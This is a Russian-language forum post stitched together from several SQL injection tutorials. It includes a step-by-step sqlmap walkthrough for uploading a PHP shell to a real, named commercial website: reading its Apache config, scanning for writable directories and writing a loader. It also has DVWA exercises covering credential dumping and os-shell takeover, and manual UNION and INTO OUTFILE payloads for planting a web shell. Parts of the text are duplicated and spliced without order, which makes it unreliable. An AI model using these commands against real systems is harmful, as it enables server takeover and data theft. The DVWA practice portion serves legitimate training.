Заливка шелла с помощью sql инъекции. Базовое использование SQLMap

Спойлер: .DZEN

У нас имеется SQL Injection на сайт, которая выглядит следующим образом,

Первым дело нам желательно проверить имеем ли мы привилегии на запись файлов на атакуемом ресурсе, для этого загружаем терминал и даем следующую команду:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Жмем Enter и начинается анализ нашей SQL Injection, выглядит отчет следующим образом:

Как вы видите в отчете написана версия Apache, версия MySQL, и версия ОС, установленной на сервере, все это нам пригодится в дальнейшем, но самое главное вы видите, что мы имеем права на запись файлов, это отображается в строчке Current User is DBA: True

Следующим шагом для нас является получение путей для записи нашего шелла. Путь до нашего сайта на сервере мы можем получить, скачав файл httpd.conf. Информацию о местоположении файла httpd.conf мы получаем с помощью Google, можно поискать по версии ОС, которая установлена или по списку наиболее вероятных путей. В общем не буду углубляться в серфинг по поисковым системам, просто когда выяснили наиболее вероятное месторасположение пути к файлу, то самое время скачать этот самый файл к себе на диск, для этого вводим следующую команду и запрашиваем чтение файла на сервере:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Сразу отметим, что не всегда удается найти этот конфиг-файл с первого раза, поэтому вы можете использовать наиболее вероятные пути по которым этот файл может находиться:

СПИСОК ВЕРОЯТНЫХ ПУТЕЙ К ФАЙЛУ КОНФИГА:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../../../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../../../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../../../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../../etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../../../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../../../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../../opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Мы получаем отчет от sqlmap в следующем виде:

Как вы видите, sqlmap нам сказал, что файл имеет такой же размер как и файл на сервере, следовательно мы имеем право на чтение этого файла. Если бы прав на чтение этого файла не хватало, то вылезла бы ошибка, что файл сохраненный на нашей машине имеет другой размер в отличие от файла на сервере, либо файла на сервере по указанному нами пути нет и никогда не было. Sqlmap cохранил наш файл в файлах отчета, а что бы прочитать его нужно запустить оконный менеджер. Для запуска оконного менеджера мы открываем еще одно окно терминала и вводим команду:

Далее в открывшемся менеджере идем по пути, куда sqlmap сложил файл т.е.:
/root/.sqlmap/output/sacoor.com
Далее, наведя курсор на файлик нажимаем кнопку F3 на клавиатуре и читаем конфиг-файл Apache:

Из нашего конфиг-файла мы видим, что наш сайт лежит на сервере по следующему пути:
/home/sbshop/site/

Теперь, когда мы имеем немного информации, можно пробовать залить шелл, для этого вводим следующую команду:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

После ввода команды sqlmap спросит какой тип заливщика мы желаем использовать, т.к. в нашем случае сайт на PHP, то и заливать мы будем PHP-loader, выбираемпункт4 и жмем Enter. Далее, sqlmap попросит выбрать нас куда мы будем заливать наш загрузчик, а т.к. мы уже знаем путь к нашему сайту на сервере, то выбираемпункт 2, нажимем Enter и указываем путь к сайту:
/home/sbshop/site/

А после этого жмем Enter и видим следующий отчет:

В данном случае sqlmap нам говорит, что в данную папку у нас нет прав на запись. Не беда, эту проблему достаточно легко решить. Даем команду на запуск uniscan и чекаем файлы и папки на возможность записи, вот команда.

SQL Injection – это тип атаки, при котором злоумышленник изменяет логику SQL запросов веб-приложения, что позволяет ему читать/изменять/удалять значения в базе данных, а иногда – выполнять произвольный код на стороне сервера. В статье будет рассмотрена популярная утилита sqlmap для проведения sql-инъекций.

На данный момент, данный тип уязвимости является наиболее опасным из всех возможных. На протяжении 7 лет, лидирующую строчку «OWASP TOP -10» возглавляют именно SQL инъекции.

Существует 5 основных причин возникновения этой уязвимости:

  1. Недостаточный уровень или отсутствие валидации входных параметров, в особенности пользовательского ввода. «Любой входной параметр — зло»
  2. Необоснованный и слабозащищенный доступ к базам данных. В эту категорию входят такие факторы как: большое количество администраторов и супер-пользователей (root ), слабая система аутентификации, большое количество прав для второстепенных администраторов и т.д.
  3. Архитектура. Использование устаревших технологий, отсутствие контрольных мер, пренебрежение методологией «моделирование угроз».
  4. Наследственность заведомо уязвимого кода, использование готовых решений с низким уровнем безопасности.
  5. Отсутствие должного уровня абстрагированности исполняемого кода от данных.

SQLMap.

Типы SQL инъекций.

Рассмотрим типы SQL инъекций эксплуатируемые утилитой SQLMap :

  1. Boolean Based Blind SQL Injection
    • Метод, при котором HTTP -запросы и ответы считываются посимвольно для обнаружения уязвимости.
    • Как только уязвимый параметр обнаружен, SQLMap заменяет или добавляет синтаксически правильные операторы SQL, ожидая реакции выполнения этого кода сервером.
    • SQLMap сравнивает оригинальный валидный запрос с ответом от запроса с внедрённым зловредным кодом.
    • SQLMap использует алгоритм деления пополам (bisectional algorithm ) для выборки каждого символа ответа с использованием максимум семи HTTP -запросов.
    • Там, где ответ отдаётся не в чистом тексте, SQLMap адаптирует алгоритм большими значениями для определения ответа.
  2. Time-Based Blind SQL Injection
    • Метод Time Based сам по себе предполагает, что существует некоторое сравнение на основе времени запроса и ответа путем инъекции синтаксически правильного оператора SQL в уязвимый параметр.
    • SQLMap использует операторы SQL, которые помещают базу данных в режим ожидания для возврата на определенное количество времени.
    • Использует тот же алгоритм bisectional algorithm , чтобы выводить символ за символом, SQLMap сравнивает время ответа HTTP с исходным запросом.
  3. Error-Based SQL Injection
    • SQLMap использует операторы SQL , которые могут спровоцировать генерацию специфической ошибки.
    • Утилита ищет ошибки в HTTP -ответе сервера.
    • Этот метод работает только в том случае, если веб-приложение настроено на раскрытие сообщений об ошибках.
  4. UNION Query
    • Вводимый SQL оператор UNION ALL SELECT .
    • SQL -инъекция, основанная на запросах UNION , работает на основе поведения приложения, т.е. когда приложение передает результат письменного запроса SELECT через определенный цикл или строку инструкций, которые позволяют выводить выходные данные на содержимое страницы.
    • В случае, если вывод не циклируется через какой-либо цикл for или другую строку операторов, SQLMap использует однократную инъекцию запроса UNION.
  5. Stacked Query
    • Использование сложенных запросов. SQLMap добавляет точку с запятой (;) в значение уязвимого параметра и добавляет инструкцию SQL, которая должна быть выполнена.
    • Используя эту технику, можно выполнять SQL-выражения, отличные от SELECT. Это полезно для манипуляции данными, получения доступа на чтение и запись и, наконец, захвата операционной системой.
  6. Out-Of-Band
    • В этом методе используется вторичный или другой канал связи для вывода результатов запросов, запущенных в уязвимом приложении.
    • Например, вставка выполняется в веб-приложение, а вторичный канал, такой как DNS-запросы , используется для пересылки данных обратно на домен злоумышленника.

Базовое использование SQLMap .

Запуск утилиты (должна находиться в переменной PATH ):

$ sqlmap

Или из директории утилиты:

$ python sqlmap.py

Для вызова документации используется ключ «- h / — help »:

$ sqlmap --help $ python sqlmap.py –help

Действия ключей SQLMap полностью зависят от того, чего конкретно хочет добиться злоумышленник. Основной список действий SQLMap выглядит следующим образом:

  • Перечислить информацию о базе данных, такую как имя, версию и другие детали.
  • Выбрать определённую базу для перечисления информации о имеющихся в ней таблиц.
  • Выбрать таблицу и перечислить информацию о столбцах.
  • Выбрать столбец и перечислить строки для извлечения их значений.
  • Дальнейшая эксплуатация.

Практика.

Для нашей практической подготовки мы будем использовать Damn Vulnerable Web Application (DVWA или «Чертовски уязвимое веб приложение»).

DVWA это свободно распространяемое веб-приложение построенное на таких технологиях как PHP и MySQL , предназначенное для тренировки навыков пентеста.

Сейчас нас интересуют только инъекции, но в целом, вы можете проверить свои способности в остальных уязвимостях, созданных на основе официального OWASP TOP -10 .

P .S .: Эта практика подразумевает наличие у вас знания основ Linux , начального уровня английского языка и умение использовать Google (в случае неимения вышеперечисленных навыков).

Установка:

  • Скачиваем приложение и следуем инструкциям;
  • Меняем уровень сложности на LOW ;
  • Интересуемся только вкладками “SQL Injection ”;

Начальные данные:

  • Веб сервер в приватной сети
  • Уязвимый URL : http:// your host . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Уязвимый параметр: id

Итак, приступим:

  1. Подтверждаем наличие SQL инъекции:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Пояснение к команде:

— url – URL с предполагаемым уязвимым параметром. Важно заметить, что переменная этого ключа записана в кавычках, т.к. проверяемый URL имеет больше одного передаваемого параметра. В противном случае кавычками можно пренебречь и использовать короткий вариант ключа “- u без знака равенства.

— cookie – Сессионная куки для прямого доступа во время атаки (необязательный ключ).

Вывод:

Анализ:

  • Приложение уязвимо к SQL инъекции
  • Тип инъекции – UNION Query
  • Back-end база данных(DBMS) – MySQL5
  • Технические детали ОС — Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Перечисляем названия баз данных:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Пояснение к команде:

—dbs – ключ для перечисления имеющихся баз данных.

Вывод:

Анализ: SQLMap перечислил доступные базы данных (всего 7).

  1. Перечисляем названия таблиц (бд — dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Пояснение к команде:

—D – Указываем интересующую нас базу данных.

—tables – Перечисляем имеющиеся таблицы в бд.

Вывод:

Анализ: Как мы видим, SQLMap успешно перечислил названия 2-х таблиц в бд dvwa .

  1. Дальнейшее перечисление названий столбцов таблицы “ users ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users –columns

Пояснение к команде:

—T – Указываем интересующую нас таблицу.

—columns – Перечисляем имеющиеся колонки в таблице.

Вывод:

Анализ: Как мы видим, SQLMap успешно перечислил названия 6-х колонок в таблице users , бд dvwa .

  1. Перечисляем/вытягиваем значения из таблицы “ users ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users -C user_id,user,password --dump

Пояснение к команде:

С – Указываем интересующие нас столбцы.

—dump – Вытягиваем значения из перечисленных столбцов.

Вывод:

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • SQLMap извлекает записи из указанных столбцов и затем анализирует данные, содержащиеся в этих столбцах.
  • Как только данные распознаются как возможные хэши паролей, SQLMap пытается попытаться взломать хэш, используя различные алгоритмы хеширования.
  • В этом случае хеш — MD5, поэтому с помощью самой первой хеш-техники, которую использует инструмент, он может успешно взламывать хэши и выдавать хорошо отформатированный ответ.
  • Кроме того, инструмент сохраняет перечисленные записи в файле формата «.csv» для дальнейшего использования; Поэтому вам не нужно выгружать данные в текстовый файл или делать скриншот, SQLMap позаботится об этом.
  1. Дальнейшая эксплуатация и захват сервера (ASP , не входит в состав DVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Пояснение к команде:

—data – Указываем параметры для тестирования, передающиеся в POST запросе.

—os —shell – Специальный ключ для попытки эксплуатации серверной консоли через SQL инъекцию.

Вывод:

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • После подтверждения и эксплуатации SQL-инъекции, SQLMap проверяет, является ли пользователь DBA (Data Base Administrator ).
  • После этого инструмент попытался использовать расширенную хранимую процедуру — «xp_cmdshell», которая обычно используется SQL Server 2000.
  • «xp _cmdshell » используется для выполнения заданной командной строки в качестве команды операционной системы. В свою очередь, он выводит результат как стандартный текст.

Преимущества получения более глубокого уровня доступа к системе:

  • Доступ к учетным данным пользователя или хэшам паролей.
  • Интерактивная оболочка, которая позволит вам загружать или выгружать файлы с сервера.
  • Запуск осевых команд (ОS ) для изучения внутренней сети.
  • Возможность загрузки малвари.
  • Дальнейшая эксплуатация с помощью Metasploit Framework .
  • Создание и залив бэк-доров.

Best practices и продвинутое использование .

  1. SQLMap и SOAP (Simple Object Access Protocol ) запросы: Процесс анализа запросов SOAP довольно прост:
    • Захват вашего SOAP- запроса.
    • Сохранение его в текстовый файл вместе с возможными уязвимыми параметрами.
    • Используйте нижеприведенную команду для SQLMap вместе с опцией -p, если вам известен уязвимый параметр:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap автоматически проанализирует запрос SOAP и попытается проникнуть в уязвимый параметр.
  1. SQLMap и JSON (JavaScript Object Notation ) запросы: В аналогичных сценариях использования SQLMap для SOAP -запросов, JSON -запросы тоже могут анализироваться и эксплуатировать. Для запроса типа JSON , SQLMap предложит вам эксплуатировать уязвимость обнаружив тип запроса JSON в «файле запроса». Как только вы ответите утвердительно, инструмент проанализирует запрос и выберет свой собственный вектор атаки.
  2. SQLMap и прокси-сервер: Корпоративныетипы сетей обычно защищены и контролируются с использованием контролируемых прокси-серверов для всего входящего или исходящего трафика. В таких случаях у вас есть возможность добавить параметр прокси прямо к опции SQLMap для связи с целевым URL. Хотя SQLMap является инструментом командной строки, он обменивается данными через HTTP-протокол, следовательно, если вы установите HTTP-прокси для соответствующего интернет-соединения, SQLMap примет его за основу:
$ ./sqlmap.py --proxy=http://:
  1. SQLMap и WAF (Web Application Firewall ): WAF является дополнительным уровнем защиты веб-приложений, значительно усложняя анализ и эксплуатацию стандартными методами имеющимися в SQLMap . Для этого существует функция “tamper —script ”, которая значительно упрощает работу с веб-приложениями, находящимися за WAF ’ом.
  2. SQLMap и анонимность: Если вы хотите скрыть свою личность и представиться анонимом для целевого приложения, вы можете использовать прокси-сервер TOR (The Onion Router). В SQLMap вы можете настроить прокси-сервер TOR для скрытия источника, из которого генерируется трафик или запрос следующими ключами:
    • tor переключение утилиты в режим использования TOR -прокси.
    • tor type ручная настройка протокола TOR -прокси (HTTP /SOCKS 4/4a /5).
    • check tor проверка работоспособности TOR -прокси

Что ж, к сабжу:

Спойлер: Заливаем шелл

У нас имеется SQL Injection на сайт, которая выглядит следующим образом,

Вы должны быть зарегистрированы, чтобы видеть ссылки.


Первым дело нам желательно проверить имеем ли мы привилегии на запись файлов на атакуемом ресурсе, для этого загружаем терминал и даем следующую команду:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Жмем Enter и начинается анализ нашей SQL Injection, выглядит отчет следующим образом:

Как вы видите в отчете написана версия Apache, версия MySQL, и версия ОС, установленной на сервере, все это нам пригодится в дальнейшем, но самое главное вы видите, что мы имеем права на запись файлов, это отображается в строчке Current User is DBA: True

Следующим шагом для нас является получение путей для записи нашего шелла. Путь до нашего сайта на сервере мы можем получить, скачав файл httpd.conf . Информацию о местоположении файла httpd.conf мы получаем с помощью Google, можно поискать по версии ОС, которая установлена или по списку наиболее вероятных путей. В общем не буду углубляться в серфинг по поисковым системам, просто когда выяснили наиболее вероятное месторасположение пути к файлу, то самое время скачать этот самый файл к себе на диск, для этого вводим следующую команду и запрашиваем чтение файла на сервере:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Сразу отметим, что не всегда удается найти этот конфиг-файл с первого раза, поэтому вы можете использовать наиболее вероятные пути по которым этот файл может находиться:

СПИСОК ВЕРОЯТНЫХ ПУТЕЙ К ФАЙЛУ КОНФИГА:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../../../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../../../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../../../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../../etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../../../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../../../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../../opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Мы получаем отчет от sqlmap в следующем виде:


Как вы видите, sqlmap нам сказал, что файл имеет такой же размер как и файл на сервере, следовательно мы имеем право на чтение этого файла. Если бы прав на чтение этого файла не хватало, то вылезла бы ошибка, что файл сохраненный на нашей машине имеет другой размер в отличие от файла на сервере, либо файла на сервере по указанному нами пути нет и никогда не было. Sqlmap cохранил наш файл в файлах отчета, а что бы прочитать его нужно запустить оконный менеджер. Для запуска оконного менеджера мы открываем еще одно окно терминала и вводим команду:

Далее в открывшемся менеджере идем по пути, куда sqlmap сложил файл т.е.:
/root/.sqlmap/output/sacoor.com
Далее, наведя курсор на файлик нажимаем кнопку F3 на клавиатуре и читаем конфиг-файл Apache:


Из нашего конфиг-файла мы видим, что наш сайт лежит на сервере по следующему пути:
/home/sbshop/site/

Теперь, когда мы имеем немного информации, можно пробовать залить шелл, для этого вводим следующую команду:

После ввода команды sqlmap спросит какой тип заливщика мы желаем использовать, т.к. в нашем случае сайт на PHP, то и заливать мы будем PHP-loader , выбираемпункт4 и жмем Enter. Далее, sqlmap попросит выбрать нас куда мы будем заливать наш загрузчик, а т.к. мы уже знаем путь к нашему сайту на сервере, то выбираемпункт 2 , нажимем Enter и указываем путь к сайту:
/home/sbshop/site/

А после этого жмем Enter и видим следующий отчет:


В данном случае sqlmap нам говорит, что в данную папку у нас нет прав на запись. Не беда, эту проблему достаточно легко решить. Даем команду на запуск uniscan и чекаем файлы и папки на возможность записи, вот команда:

Uniscan -u http://www.sacoor.com/ -qwe

Сейчас сканер проверит все доступные для записи директории:


Сканер нашел три директории с возможностью записи файлов, поэтому пытаемся залить наш лоадер шелла еще раз, но в этот раз по-другому пути. Опять выполняем команду:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

и, выбрав пункт 4 (заливка PHP-скрипта), указываем путь:
/home/sbshop/site/admin

Видим мы следующее.

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь malroc . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.